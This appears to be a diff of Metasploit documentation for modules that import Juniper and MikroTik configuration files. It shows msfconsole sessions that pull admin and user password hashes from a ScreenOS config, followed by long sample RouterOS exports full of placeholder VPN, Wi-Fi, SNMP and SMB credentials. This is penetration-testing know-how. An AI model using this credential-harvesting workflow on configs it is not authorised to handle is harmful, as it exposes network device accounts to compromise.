[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
[+] Config import successful
[*] Auxiliary module execution completed
```
### ScreenOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/screenos.conf https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/networking/gather/juniper_config
msf5 auxiliary(admin/networking/gather/juniper_config) > set config /tmp/screenos.conf
config => /tmp/screenos.conf
msf5 auxiliary(admin/networking/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/networking/gather/juniper_config) > set action SCREENOS
action => SCREENOS
msf5 auxiliary(admin/networking/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] Admin user netscreen found with password hash nKVUM2rwMUzPcrkG5sWIHdCtqkAibn
[+] User 1 named testuser found with password hash auth. Enable permission: 02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -0,0 +1,637 @@
## Vulnerable Application
### General Notes
This module imports a Mikrotik configuration file into the database.
This is similar to `post/networking/gather/enum_mikrotik` only access isn't required,
and assumes you already have the file.
RouterOS images can be downloaded for VMs from the MikroTik website.
* https://mikrotik.com/download
* https://mikrotik.com/download/archive
SwOS (Switch OS) can only be used on hardware devices. These files are downloaded from the web interface.
Example files for import from a RouterOS:
### /export
```
# jul/18/2020 16:07:05 by RouterOS 6.45.9
# software id =
#
#
#
/interface ovpn-client
add connect-to=10.99.99.98 mac-address=FE:45:B0:31:4A:34 name=ovpn-out1 password=password user=user
add connect-to=10.99.99.98 mac-address=FE:45:B0:31:4A:34 name=ovpn-out2 password=password user=user
add connect-to=10.99.99.98 disabled=yes mac-address=FE:45:B0:31:4A:34 name=ovpn-out3 password=password user=user
add connect-to=10.99.99.98 mac-address=FE:45:B0:31:4A:34 name=ovpn-out4 password=password user=user
/interface bridge
add name=bridge_local
/interface ethernet
set [ find default-name=ether1 ] disable-running-check=no
set [ find default-name=ether2 ] disable-running-check=no
/interface pppoe-client
# Client is on slave interface
add disabled=no interface=ether2 name=pppoe-user password=password service-name=internet user=user
/interface l2tp-client
add connect-to=10.99.99.99 name=l2tp-hm password=123 user=l2tp-hm
/interface pptp-client
add connect-to=10.99.99.99 disabled=no name=pptp-hm password=123 user=pptp-hm
/interface lte apn
add apn=accesspointname
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
add name=openwifi supplicant-identity=MikroTik
add authentication-types=wpa-psk mode=dynamic-keys name=wpawifi supplicant-identity=MikroTik wpa-pre-shared-key=presharedkey
add authentication-types=wpa2-psk mode=dynamic-keys name=wpa2wifi supplicant-identity=MikroTik wpa2-pre-shared-key=presharedkey
add authentication-types=wpa2-eap mode=dynamic-keys mschapv2-password=password mschapv2-username=username name=wpaeapwifi \
supplicant-identity=MikroTik
add mode=static-keys-required name=wepwifi static-key-0=0123456789 static-key-1=0987654321 static-key-2=1234509876 static-key-3=\
0192837645 supplicant-identity=MikroTik
add mode=static-keys-required name=wep1wifi static-key-0=1111111111 supplicant-identity=MikroTik
/ppp profile
add bridge=bridge_local name=ppp_bridge use-encryption=yes
/snmp community
add addresses=::/0 authentication-password=write name=write write-access=yes
add addresses=::/0 authentication-password=0123456789 authentication-protocol=SHA1 encryption-password=9876543210 \
encryption-protocol=AES name=v3
/interface bridge port
add bridge=bridge_local interface=ether2
/ip dhcp-client
add dhcp-options=hostname,clientid disabled=no interface=ether1
/ip smb users
add name=mtuser password=mtpasswd read-only=no
add disabled=yes name=disableduser password=disabledpasswd
/ppp secret
add name=ppp1 password=password profile=ppp_bridge
/snmp
set contact="fake <fake@fake.com>" location=nowhere
/system identity
set name=mikrotik_hostname
/tool e-mail
set address=1.1.1.1 from=router@router.com password=smtppassword user=smtpuser
```
### /export terse
```
# jul/18/2020 16:08:41 by RouterOS 6.45.9
# software id =
#
#
#
/interface ovpn-client add connect-to=10.99.99.98 mac-address=FE:45:B0:31:4A:34 name=ovpn-out1 password=password user=user
/interface ovpn-client add connect-to=10.99.99.98 mac-address=FE:45:B0:31:4A:34 name=ovpn-out2 password=password user=user
/interface ovpn-client add connect-to=10.99.99.98 disabled=yes mac-address=FE:45:B0:31:4A:34 name=ovpn-out3 password=password user=user
/interface ovpn-client add connect-to=10.99.99.98 mac-address=FE:45:B0:31:4A:34 name=ovpn-out4 password=password user=user
/interface bridge add name=bridge_local
/interface ethernet set [ find default-name=ether1 ] disable-running-check=no
/interface ethernet set [ find default-name=ether2 ] disable-running-check=no
/interface pppoe-client
# Client is on slave interface
add disabled=no interface=ether2 name=pppoe-user password=password service-name=internet user=user
/interface l2tp-client add connect-to=10.99.99.99 name=l2tp-hm password=123 user=l2tp-hm
/interface pptp-client add connect-to=10.99.99.99 disabled=no name=pptp-hm password=123 user=pptp-hm
/interface lte apn add apn=accesspointname
/interface wireless security-profiles set [ find default=yes ] supplicant-identity=MikroTik
/interface wireless security-profiles add name=openwifi supplicant-identity=MikroTik
/interface wireless security-profiles add authentication-types=wpa-psk mode=dynamic-keys name=wpawifi supplicant-identity=MikroTik wpa-pre-shared-key=presharedkey
/interface wireless security-profiles add authentication-types=wpa2-psk mode=dynamic-keys name=wpa2wifi supplicant-identity=MikroTik wpa2-pre-shared-key=presharedkey
/interface wireless security-profiles add authentication-types=wpa2-eap mode=dynamic-keys mschapv2-password=password mschapv2-username=username name=wpaeapwifi supplicant-identity=MikroTik
/interface wireless security-profiles add mode=static-keys-required name=wepwifi static-key-0=0123456789 static-key-1=0987654321 static-key-2=1234509876 static-key-3=0192837645 supplicant-identity=MikroTik
/interface wireless security-profiles add mode=static-keys-required name=wep1wifi static-key-0=1111111111 supplicant-identity=MikroTik
/ppp profile add bridge=bridge_local name=ppp_bridge use-encryption=yes
/snmp community add addresses=::/0 authentication-password=write name=write write-access=yes
/snmp community add addresses=::/0 authentication-password=0123456789 authentication-protocol=SHA1 encryption-password=9876543210 encryption-protocol=AES name=v3
/interface bridge port add bridge=bridge_local interface=ether2
/ip dhcp-client add dhcp-options=hostname,clientid disabled=no interface=ether1
/ip smb users add name=mtuser password=mtpasswd read-only=no
/ip smb users add disabled=yes name=disableduser password=disabledpasswd
/ppp secret add name=ppp1 password=password profile=ppp_bridge
/snmp set contact="fake <fake@fake.com>" location=nowhere
/system identity set name=mikrotik_hostname
/tool e-mail set address=1.1.1.1 from=router@router.com password=smtppassword user=smtpuser
```
### /export verbose
```
# jul/18/2020 16:09:36 by RouterOS 6.45.9
# software id =
#
#
#
/interface bridge
add ageing-time=5m arp=enabled arp-timeout=auto auto-mac=yes dhcp-snooping=no disabled=no fast-forward=yes forward-delay=15s \
igmp-snooping=no max-message-age=20s mtu=auto name=bridge_local priority=0x8000 protocol-mode=rstp transmit-hold-count=6 \
vlan-filtering=no
/interface ethernet
set [ find default-name=ether1 ] advertise=1000M-full,10000M-full arp=enabled arp-timeout=auto auto-negotiation=yes cable-settings=\
default disable-running-check=no disabled=no full-duplex=yes loop-protect=default loop-protect-disable-time=5m \
loop-protect-send-interval=5s mac-address=00:0C:29:9A:0B:43 mtu=1500 name=ether1 orig-mac-address=00:0C:29:9A:0B:43 speed=10Gbps
set [ find default-name=ether2 ] advertise=1000M-full,10000M-full arp=enabled arp-timeout=auto auto-negotiation=yes cable-settings=\
default disable-running-check=no disabled=no full-duplex=yes loop-protect=default loop-protect-disable-time=5m \
loop-protect-send-interval=5s mac-address=00:0C:29:9A:0B:4D mtu=1500 name=ether2 orig-mac-address=00:0C:29:9A:0B:4D speed=10Gbps
/queue interface
set bridge_local queue=no-queue
/interface list
set [ find name=all ] comment="contains all interfaces" exclude="" include="" name=all
set [ find name=none ] comment="contains no interfaces" exclude="" include="" name=none
set [ find name=dynamic ] comment="contains dynamic interfaces" exclude="" include="" name=dynamic
/interface lte apn
set [ find default=yes ] add-default-route=yes apn=internet default-route-distance=2 name=default use-peer-dns=yes
add add-default-route=yes apn=accesspointname default-route-distance=2 use-peer-dns=yes
/interface wireless security-profiles
set [ find default=yes ] authentication-types="" disable-pmkid=no eap-methods=passthrough group-ciphers=aes-ccm group-key-update=5m \
interim-update=0s management-protection=disabled management-protection-key="" mode=none mschapv2-password="" mschapv2-username=\
"" name=default radius-called-format=mac:ssid radius-eap-accounting=no radius-mac-accounting=no radius-mac-authentication=no \
radius-mac-caching=disabled radius-mac-format=XX:XX:XX:XX:XX:XX radius-mac-mode=as-username static-algo-0=none static-algo-1=\
none static-algo-2=none static-algo-3=none static-key-0="" static-key-1="" static-key-2="" static-key-3="" \
static-sta-private-algo=none static-sta-private-key="" static-transmit-key=key-0 supplicant-identity=MikroTik tls-certificate=\
none tls-mode=no-certificates unicast-ciphers=aes-ccm wpa-pre-shared-key="" wpa2-pre-shared-key=""
add authentication-types="" disable-pmkid=no eap-methods=passthrough group-ciphers=aes-ccm group-key-update=5m interim-update=0s \
management-protection=disabled management-protection-key="" mode=none mschapv2-password="" mschapv2-username="" name=openwifi \
radius-called-format=mac:ssid radius-eap-accounting=no radius-mac-accounting=no radius-mac-authentication=no radius-mac-caching=\
disabled radius-mac-format=XX:XX:XX:XX:XX:XX radius-mac-mode=as-username static-algo-0=none static-algo-1=none static-algo-2=\
none static-algo-3=none static-key-0="" static-key-1="" static-key-2="" static-key-3="" static-sta-private-algo=none \
static-sta-private-key="" static-transmit-key=key-0 supplicant-identity=MikroTik tls-certificate=none tls-mode=no-certificates \
unicast-ciphers=aes-ccm wpa-pre-shared-key="" wpa2-pre-shared-key=""
add authentication-types=wpa-psk disable-pmkid=no eap-methods=passthrough group-ciphers=aes-ccm group-key-update=5m interim-update=\
0s management-protection=disabled management-protection-key="" mode=dynamic-keys mschapv2-password="" mschapv2-username="" name=\
wpawifi radius-called-format=mac:ssid radius-eap-accounting=no radius-mac-accounting=no radius-mac-authentication=no \
radius-mac-caching=disabled radius-mac-format=XX:XX:XX:XX:XX:XX radius-mac-mode=as-username static-algo-0=none static-algo-1=\
none static-algo-2=none static-algo-3=none static-key-0="" static-key-1="" static-key-2="" static-key-3="" \
static-sta-private-algo=none static-sta-private-key="" static-transmit-key=key-0 supplicant-identity=MikroTik tls-certificate=\
none tls-mode=no-certificates unicast-ciphers=aes-ccm wpa-pre-shared-key=presharedkey wpa2-pre-shared-key=""
add authentication-types=wpa2-psk disable-pmkid=no eap-methods=passthrough group-ciphers=aes-ccm group-key-update=5m interim-update=\
0s management-protection=disabled management-protection-key="" mode=dynamic-keys mschapv2-password="" mschapv2-username="" name=\
wpa2wifi radius-called-format=mac:ssid radius-eap-accounting=no radius-mac-accounting=no radius-mac-authentication=no \
radius-mac-caching=disabled radius-mac-format=XX:XX:XX:XX:XX:XX radius-mac-mode=as-username static-algo-0=none static-algo-1=\
none static-algo-2=none static-algo-3=none static-key-0="" static-key-1="" static-key-2="" static-key-3="" \
static-sta-private-algo=none static-sta-private-key="" static-transmit-key=key-0 supplicant-identity=MikroTik tls-certificate=\
none tls-mode=no-certificates unicast-ciphers=aes-ccm wpa-pre-shared-key="" wpa2-pre-shared-key=presharedkey
add authentication-types=wpa2-eap disable-pmkid=no eap-methods=passthrough group-ciphers=aes-ccm group-key-update=5m interim-update=\
0s management-protection=disabled management-protection-key="" mode=dynamic-keys mschapv2-password=password mschapv2-username=\
username name=wpaeapwifi radius-called-format=mac:ssid radius-eap-accounting=no radius-mac-accounting=no \
radius-mac-authentication=no radius-mac-caching=disabled radius-mac-format=XX:XX:XX:XX:XX:XX radius-mac-mode=as-username \
static-algo-0=none static-algo-1=none static-algo-2=none static-algo-3=none static-key-0="" static-key-1="" static-key-2="" \
static-key-3="" static-sta-private-algo=none static-sta-private-key="" static-transmit-key=key-0 supplicant-identity=MikroTik \
tls-certificate=none tls-mode=no-certificates unicast-ciphers=aes-ccm wpa-pre-shared-key="" wpa2-pre-shared-key=""
add authentication-types="" disable-pmkid=no eap-methods=passthrough group-ciphers=aes-ccm group-key-update=5m interim-update=0s \
management-protection=disabled management-protection-key="" mode=static-keys-required mschapv2-password="" mschapv2-username="" \
name=wepwifi radius-called-format=mac:ssid radius-eap-accounting=no radius-mac-accounting=no radius-mac-authentication=no \
radius-mac-caching=disabled radius-mac-format=XX:XX:XX:XX:XX:XX radius-mac-mode=as-username static-algo-0=none static-algo-1=\
none static-algo-2=none static-algo-3=none static-key-0=0123456789 static-key-1=0987654321 static-key-2=1234509876 static-key-3=\
0192837645 static-sta-private-algo=none static-sta-private-key="" static-transmit-key=key-0 supplicant-identity=MikroTik \
tls-certificate=none tls-mode=no-certificates unicast-ciphers=aes-ccm wpa-pre-shared-key="" wpa2-pre-shared-key=""
add authentication-types="" disable-pmkid=no eap-methods=passthrough group-ciphers=aes-ccm group-key-update=5m interim-update=0s \
management-protection=disabled management-protection-key="" mode=static-keys-required mschapv2-password="" mschapv2-username="" \
name=wep1wifi radius-called-format=mac:ssid radius-eap-accounting=no radius-mac-accounting=no radius-mac-authentication=no \
radius-mac-caching=disabled radius-mac-format=XX:XX:XX:XX:XX:XX radius-mac-mode=as-username static-algo-0=none static-algo-1=\
none static-algo-2=none static-algo-3=none static-key-0=1111111111 static-key-1="" static-key-2="" static-key-3="" \
static-sta-private-algo=none static-sta-private-key="" static-transmit-key=key-0 supplicant-identity=MikroTik tls-certificate=\
none tls-mode=no-certificates unicast-ciphers=aes-ccm wpa-pre-shared-key="" wpa2-pre-shared-key=""
/ip dhcp-client option
set clientid_duid code=61 name=clientid_duid value="0xff\$(CLIENT_DUID)"
set clientid code=61 name=clientid value="0x01\$(CLIENT_MAC)"
set hostname code=12 name=hostname value="\$(HOSTNAME)"
/ip hotspot profile
set [ find default=yes ] dns-name="" hotspot-address=0.0.0.0 html-directory=hotspot html-directory-override="" http-cookie-lifetime=\
3d http-proxy=0.0.0.0:0 login-by=cookie,http-chap name=default rate-limit="" smtp-server=0.0.0.0 split-user-domain=no \
use-radius=no
/ip hotspot user profile
set [ find default=yes ] add-mac-cookie=yes address-list="" idle-timeout=none !insert-queue-before keepalive-timeout=2m \
mac-cookie-timeout=3d name=default !parent-queue !queue-type shared-users=1 status-autorefresh=1m transparent-proxy=no
/ip ipsec mode-config
set [ find default=yes ] name=request-only responder=no
/ip ipsec policy group
set [ find default=yes ] name=default
/ip ipsec profile
set [ find default=yes ] dh-group=modp2048,modp1024 dpd-interval=2m dpd-maximum-failures=5 enc-algorithm=aes-128,3des \
hash-algorithm=sha1 lifetime=1d name=default nat-traversal=yes proposal-check=obey
/ip ipsec proposal
set [ find default=yes ] auth-algorithms=sha1 disabled=no enc-algorithms=aes-256-cbc,aes-192-cbc,aes-128-cbc lifetime=30m name=\
default pfs-group=modp1024
/port
set 0 baud-rate=9600 data-bits=8 flow-control=none name=serial0 parity=none stop-bits=1
set 1 baud-rate=9600 data-bits=8 flow-control=none name=serial1 parity=none stop-bits=1
/ppp profile
set *0 address-list="" !bridge !bridge-horizon !bridge-path-cost !bridge-port-priority change-tcp-mss=yes !dns-server !idle-timeout \
!incoming-filter !insert-queue-before !interface-list !local-address name=default on-down="" on-up="" only-one=default \
!outgoing-filter !parent-queue !queue-type !rate-limit !remote-address !session-timeout use-compression=default use-encryption=\
default use-mpls=default use-upnp=default !wins-server
add address-list="" bridge=bridge_local !bridge-horizon !bridge-path-cost !bridge-port-priority change-tcp-mss=default !dns-server \
!idle-timeout !incoming-filter !insert-queue-before !interface-list !local-address name=ppp_bridge on-down="" on-up="" only-one=\
default !outgoing-filter !parent-queue !queue-type !rate-limit !remote-address !session-timeout use-compression=default \
use-encryption=yes use-mpls=default use-upnp=default !wins-server
set *FFFFFFFE address-list="" !bridge !bridge-horizon !bridge-path-cost !bridge-port-priority change-tcp-mss=yes !dns-server \
!idle-timeout !incoming-filter !insert-queue-before !interface-list !local-address name=default-encryption on-down="" on-up="" \
only-one=default !outgoing-filter !parent-queue !queue-type !rate-limit !remote-address !session-timeout use-compression=default \
use-encryption=yes use-mpls=default use-upnp=default !wins-server
/interface ovpn-client
add add-default-route=no auth=sha1 certificate=none cipher=blowfish128 connect-to=10.99.99.98 disabled=no mac-address=\
FE:45:B0:31:4A:34 max-mtu=1500 mode=ip name=ovpn-out1 password=password port=1194 profile=default user=user \
verify-server-certificate=no
add add-default-route=no auth=sha1 certificate=none cipher=blowfish128 connect-to=10.99.99.98 disabled=no mac-address=\
FE:45:B0:31:4A:34 max-mtu=1500 mode=ip name=ovpn-out2 password=password port=1194 profile=default user=user \
verify-server-certificate=no
add add-default-route=no auth=sha1 certificate=none cipher=blowfish128 connect-to=10.99.99.98 disabled=yes mac-address=\
FE:45:B0:31:4A:34 max-mtu=1500 mode=ip name=ovpn-out3 password=password port=1194 profile=default user=user \
verify-server-certificate=no
add add-default-route=no auth=sha1 certificate=none cipher=blowfish128 connect-to=10.99.99.98 disabled=no mac-address=\
FE:45:B0:31:4A:34 max-mtu=1500 mode=ip name=ovpn-out4 password=password port=1194 profile=default user=user \
verify-server-certificate=no
/interface pppoe-client
# Client is on slave interface
add ac-name="" add-default-route=no allow=pap,chap,mschap1,mschap2 dial-on-demand=no disabled=no interface=ether2 keepalive-timeout=\
10 max-mru=auto max-mtu=auto mrru=disabled name=pppoe-user password=password profile=default service-name=internet use-peer-dns=\
no user=user
/interface l2tp-client
add add-default-route=no allow=pap,chap,mschap1,mschap2 allow-fast-path=no connect-to=10.99.99.99 dial-on-demand=no disabled=yes \
ipsec-secret="" keepalive-timeout=60 max-mru=1450 max-mtu=1450 mrru=disabled name=l2tp-hm password=123 profile=\
default-encryption use-ipsec=no user=l2tp-hm
/interface pptp-client
add add-default-route=no allow=pap,chap,mschap1,mschap2 connect-to=10.99.99.99 dial-on-demand=no disabled=no keepalive-timeout=60 \
max-mru=1450 max-mtu=1450 mrru=disabled name=pptp-hm password=123 profile=default-encryption user=pptp-hm
/queue interface
set l2tp-hm queue=no-queue
# Client is on slave interface
set pppoe-user queue=no-queue
set pptp-hm queue=no-queue
/queue type
set 0 kind=pfifo name=default pfifo-limit=50
set 1 kind=pfifo name=ethernet-default pfifo-limit=50
set 2 kind=sfq name=wireless-default sfq-allot=1514 sfq-perturb=5
set 3 kind=red name=synchronous-default red-avg-packet=1000 red-burst=20 red-limit=60 red-max-threshold=50 red-min-threshold=10
set 4 kind=sfq name=hotspot-default sfq-allot=1514 sfq-perturb=5
set 5 kind=pcq name=pcq-upload-default pcq-burst-rate=0 pcq-burst-threshold=0 pcq-burst-time=10s pcq-classifier=src-address \
pcq-dst-address-mask=32 pcq-dst-address6-mask=128 pcq-limit=50KiB pcq-rate=0 pcq-src-address-mask=32 pcq-src-address6-mask=128 \
pcq-total-limit=2000KiB
set 6 kind=pcq name=pcq-download-default pcq-burst-rate=0 pcq-burst-threshold=0 pcq-burst-time=10s pcq-classifier=dst-address \
pcq-dst-address-mask=32 pcq-dst-address6-mask=128 pcq-limit=50KiB pcq-rate=0 pcq-src-address-mask=32 pcq-src-address6-mask=128 \
pcq-total-limit=2000KiB
set 7 kind=none name=only-hardware-queue
set 8 kind=mq-pfifo mq-pfifo-limit=50 name=multi-queue-ethernet-default
set 9 kind=pfifo name=default-small pfifo-limit=10
/queue interface
set ether1 queue=only-hardware-queue
set ether2 queue=only-hardware-queue
set ovpn-out1 queue=only-hardware-queue
set ovpn-out2 queue=only-hardware-queue
set ovpn-out3 queue=only-hardware-queue
set ovpn-out4 queue=only-hardware-queue
/routing bgp instance
set default as=65530 client-to-client-reflection=yes !cluster-id !confederation disabled=no ignore-as-path-len=no name=default \
out-filter="" redistribute-connected=no redistribute-ospf=no redistribute-other-bgp=no redistribute-rip=no redistribute-static=\
no router-id=0.0.0.0 routing-table=""
/routing ospf instance
set [ find default=yes ] disabled=no distribute-default=never !domain-id !domain-tag in-filter=ospf-in metric-bgp=auto \
metric-connected=20 metric-default=1 metric-other-ospf=auto metric-rip=20 metric-static=20 !mpls-te-area !mpls-te-router-id \
name=default out-filter=ospf-out redistribute-bgp=no redistribute-connected=no redistribute-other-ospf=no redistribute-rip=no \
redistribute-static=no router-id=0.0.0.0 !routing-table !use-dn
/routing ospf area
set [ find default=yes ] area-id=0.0.0.0 disabled=no instance=default name=backbone type=default
/snmp community
set [ find default=yes ] addresses=::/0 authentication-password="" authentication-protocol=MD5 encryption-password="" \
encryption-protocol=DES name=public read-access=yes security=none write-access=no
add addresses=::/0 authentication-password=write authentication-protocol=MD5 encryption-password="" encryption-protocol=DES name=\
write read-access=yes security=none write-access=yes
add addresses=::/0 authentication-password=0123456789 authentication-protocol=SHA1 encryption-password=9876543210 \
encryption-protocol=AES name=v3 read-access=yes security=none write-access=no
/system logging action
set 0 memory-lines=1000 memory-stop-on-full=no name=memory target=memory
set 1 disk-file-count=2 disk-file-name=log disk-lines-per-file=1000 disk-stop-on-full=no name=disk target=disk
set 2 name=echo remember=yes target=echo
set 3 bsd-syslog=no name=remote remote=0.0.0.0 remote-port=514 src-address=0.0.0.0 syslog-facility=daemon syslog-severity=auto \
syslog-time-format=bsd-syslog target=remote
/user group
set read name=read policy=\
local,telnet,ssh,reboot,read,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!write,!policy,!dude skin=default
set write name=write policy=\
local,telnet,ssh,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!policy,!dude skin=default
set full name=full policy=\
local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,password,web,sniff,sensitive,api,romon,dude,tikapp skin=default
/caps-man aaa
set called-format=mac:ssid interim-update=disabled mac-caching=disabled mac-format=XX:XX:XX:XX:XX:XX mac-mode=as-username
/caps-man manager
set ca-certificate=none certificate=none enabled=no package-path="" require-peer-certificate=no upgrade-policy=none
/caps-man manager interface
set [ find default=yes ] disabled=no forbid=no interface=all
/certificate settings
set crl-download=yes crl-store=ram crl-use=yes
/dude
set data-directory=dude enabled=no
/interface bridge port
add auto-isolate=no bpdu-guard=no bridge=bridge_local broadcast-flood=yes disabled=no edge=auto fast-leave=no frame-types=admit-all \
horizon=none hw=yes ingress-filtering=no interface=ether2 internal-path-cost=10 learn=auto multicast-router=temporary-query \
path-cost=10 point-to-point=auto priority=0x80 pvid=1 restricted-role=no restricted-tcn=no tag-stacking=no trusted=no \
unknown-multicast-flood=yes unknown-unicast-flood=yes
/interface bridge settings
set allow-fast-path=yes use-ip-firewall=no use-ip-firewall-for-pppoe=no use-ip-firewall-for-vlan=no
/ip firewall connection tracking
set enabled=auto generic-timeout=10m icmp-timeout=10s loose-tcp-tracking=yes tcp-close-timeout=10s tcp-close-wait-timeout=10s \
tcp-established-timeout=1d tcp-fin-wait-timeout=10s tcp-last-ack-timeout=10s tcp-max-retrans-timeout=5m \
tcp-syn-received-timeout=5s tcp-syn-sent-timeout=5s tcp-time-wait-timeout=10s tcp-unacked-timeout=5m udp-stream-timeout=3m \
udp-timeout=10s
/ip neighbor discovery-settings
set discover-interface-list=!dynamic
/ip settings
set accept-redirects=no accept-source-route=no allow-fast-path=yes arp-timeout=30s icmp-rate-limit=10 icmp-rate-mask=0x1818 \
ip-forward=yes max-neighbor-entries=8192 route-cache=yes rp-filter=no secure-redirects=yes send-redirects=yes tcp-syncookies=no
/interface detect-internet
set detect-interface-list=none internet-interface-list=none lan-interface-list=none wan-interface-list=none
/interface l2tp-server server
set allow-fast-path=no authentication=pap,chap,mschap1,mschap2 caller-id-type=ip-address default-profile=default-encryption enabled=\
no ipsec-secret="" keepalive-timeout=30 max-mru=1450 max-mtu=1450 max-sessions=unlimited mrru=disabled one-session-per-host=no \
use-ipsec=no
/interface ovpn-server server
set auth=sha1,md5 cipher=blowfish128,aes128 default-profile=default enabled=no keepalive-timeout=60 mac-address=FE:73:1F:69:35:EC \
max-mtu=1500 mode=ip netmask=24 port=1194 require-client-certificate=no
/interface pptp-server server
set authentication=mschap1,mschap2 default-profile=default-encryption enabled=no keepalive-timeout=30 max-mru=1450 max-mtu=1450 \
mrru=disabled
/interface sstp-server server
set authentication=pap,chap,mschap1,mschap2 certificate=none default-profile=default enabled=no force-aes=no keepalive-timeout=60 \
max-mru=1500 max-mtu=1500 mrru=disabled pfs=no port=443 tls-version=any verify-client-certificate=no
/interface wireless align
set active-mode=yes audio-max=-20 audio-min=-100 audio-monitor=00:00:00:00:00:00 filter-mac=00:00:00:00:00:00 frame-size=300 \
frames-per-second=25 receive-all=no ssid-all=no
/interface wireless cap
set bridge=none caps-man-addresses="" caps-man-certificate-common-names="" caps-man-names="" certificate=none discovery-interfaces=\
"" enabled=no interfaces="" lock-to-caps-man=no static-virtual=no
/interface wireless sniffer
set channel-time=200ms file-limit=10 file-name="" memory-limit=10 multiple-channels=no only-headers=no receive-errors=no \
streaming-enabled=no streaming-max-rate=0 streaming-server=0.0.0.0
/interface wireless snooper
set channel-time=200ms multiple-channels=yes receive-errors=no
/ip accounting
set account-local-traffic=no enabled=no threshold=256
/ip accounting web-access
set accessible-via-web=no address=0.0.0.0/0
/ip cloud
set ddns-enabled=no ddns-update-interval=none update-time=no
/ip cloud advanced
set use-local-address=no
/ip dhcp-client
add add-default-route=yes default-route-distance=1 dhcp-options=hostname,clientid disabled=no interface=ether1 use-peer-dns=yes \
use-peer-ntp=yes
/ip dhcp-server config
set accounting=yes interim-update=0s store-leases-disk=5m
/ip dns
set allow-remote-requests=no cache-max-ttl=1w cache-size=2048KiB max-concurrent-queries=100 max-concurrent-tcp-sessions=20 \
max-udp-packet-size=4096 query-server-timeout=2s query-total-timeout=10s servers=""
/ip firewall service-port
set ftp disabled=no ports=21
set tftp disabled=no ports=69
set irc disabled=no ports=6667
set h323 disabled=no
set sip disabled=no ports=5060,5061 sip-direct-media=yes sip-timeout=1h
set pptp disabled=no
set udplite disabled=no
set dccp disabled=no
set sctp disabled=no
/ip hotspot service-port
set ftp disabled=no ports=21
/ip hotspot user
set [ find default=yes ] comment="counters and limits for trial users" disabled=no name=default-trial
/ip ipsec policy
set 0 disabled=no dst-address=::/0 group=default proposal=default protocol=all src-address=::/0 template=yes
/ip ipsec settings
set accounting=yes interim-update=0s xauth-use-radius=no
/ip proxy
set always-from-cache=no anonymous=no cache-administrator=webmaster cache-hit-dscp=4 cache-on-disk=no cache-path=web-proxy enabled=\
no max-cache-object-size=2048KiB max-cache-size=unlimited max-client-connections=600 max-fresh-time=3d max-server-connections=\
600 parent-proxy=:: parent-proxy-port=0 port=8080 serialize-connections=no src-address=::
/ip service
set telnet address="" disabled=no port=23
set ftp address="" disabled=no port=21
set www address="" disabled=no port=80
set ssh address="" disabled=no port=22
set www-ssl address="" certificate=none disabled=yes port=443
set api address="" disabled=no port=8728
set winbox address="" disabled=no port=8291
set api-ssl address="" certificate=none disabled=no port=8729
/ip smb
set allow-guests=yes comment=MikrotikSMB domain=MSHOME enabled=no interfaces=all
/ip smb shares
set [ find default=yes ] comment="default share" directory=/pub disabled=no max-sessions=10 name=pub
/ip smb users
set [ find default=yes ] disabled=no name=guest password="" read-only=yes
add disabled=no name=mtuser password=mtpasswd read-only=no
add disabled=yes name=disableduser password=disabledpasswd read-only=yes
/ip socks
set connection-idle-timeout=2m enabled=no max-connections=200 port=1080
/ip ssh
set allow-none-crypto=no always-allow-password-login=no forwarding-enabled=no host-key-size=2048 strong-crypto=no
/ip tftp settings
set max-block-size=4096
/ip traffic-flow
set active-flow-timeout=30m cache-entries=16k enabled=no inactive-flow-timeout=15s interfaces=all
/ip traffic-flow ipfix
set bytes=yes dst-address=yes dst-address-mask=yes dst-mac-address=yes dst-port=yes first-forwarded=yes gateway=yes icmp-code=yes \
icmp-type=yes igmp-type=yes in-interface=yes ip-header-length=yes ip-total-length=yes ipv6-flow-label=yes is-multicast=yes \
last-forwarded=yes nat-dst-address=yes nat-dst-port=yes nat-src-address=yes nat-src-port=yes out-interface=yes packets=yes \
protocol=yes src-address=yes src-address-mask=yes src-mac-address=yes src-port=yes tcp-ack-num=yes tcp-flags=yes tcp-seq-num=yes \
tcp-window-size=yes tos=yes ttl=yes udp-length=yes
/ip upnp
set allow-disable-external-interface=no enabled=no show-dummy-rule=yes
/mpls
set dynamic-label-range=16-1048575 propagate-ttl=yes
/mpls interface
set [ find default=yes ] disabled=no interface=all mpls-mtu=1508
/mpls ldp
set distribute-for-default-route=no enabled=no hop-limit=255 loop-detect=no lsr-id=0.0.0.0 path-vector-limit=255 transport-address=\
0.0.0.0 use-explicit-null=no
/port firmware
set directory=firmware ignore-directip-modem=no
/ppp aaa
set accounting=yes interim-update=0s use-circuit-id-in-nas-port-id=no use-radius=no
/ppp secret
add caller-id="" disabled=no limit-bytes-in=0 limit-bytes-out=0 !local-address name=ppp1 password=password profile=ppp_bridge \
!remote-address routes="" service=any
/radius incoming
set accept=no port=3799
/routing bfd interface
set [ find default=yes ] disabled=no interface=all interval=0.2s min-rx=0.2s multiplier=5
/routing mme
set bidirectional-timeout=2 gateway-class=none gateway-keepalive=1m gateway-selection=no-gateway origination-interval=5s \
preferred-gateway=0.0.0.0 timeout=1m ttl=50
/routing rip
set distribute-default=never garbage-timer=2m metric-bgp=1 metric-connected=1 metric-default=1 metric-ospf=1 metric-static=1 \
redistribute-bgp=no redistribute-connected=no redistribute-ospf=no redistribute-static=no routing-table=main timeout-timer=3m \
update-timer=30s
/snmp
set contact="fake <fake@fake.com>" enabled=no engine-id="" location=nowhere trap-community=public trap-generators=temp-exception \
trap-target="" trap-version=1
/system clock
set time-zone-autodetect=yes time-zone-name=manual
/system clock manual
set dst-delta=+00:00 dst-end="jan/01/1970 00:00:00" dst-start="jan/01/1970 00:00:00" time-zone=+00:00
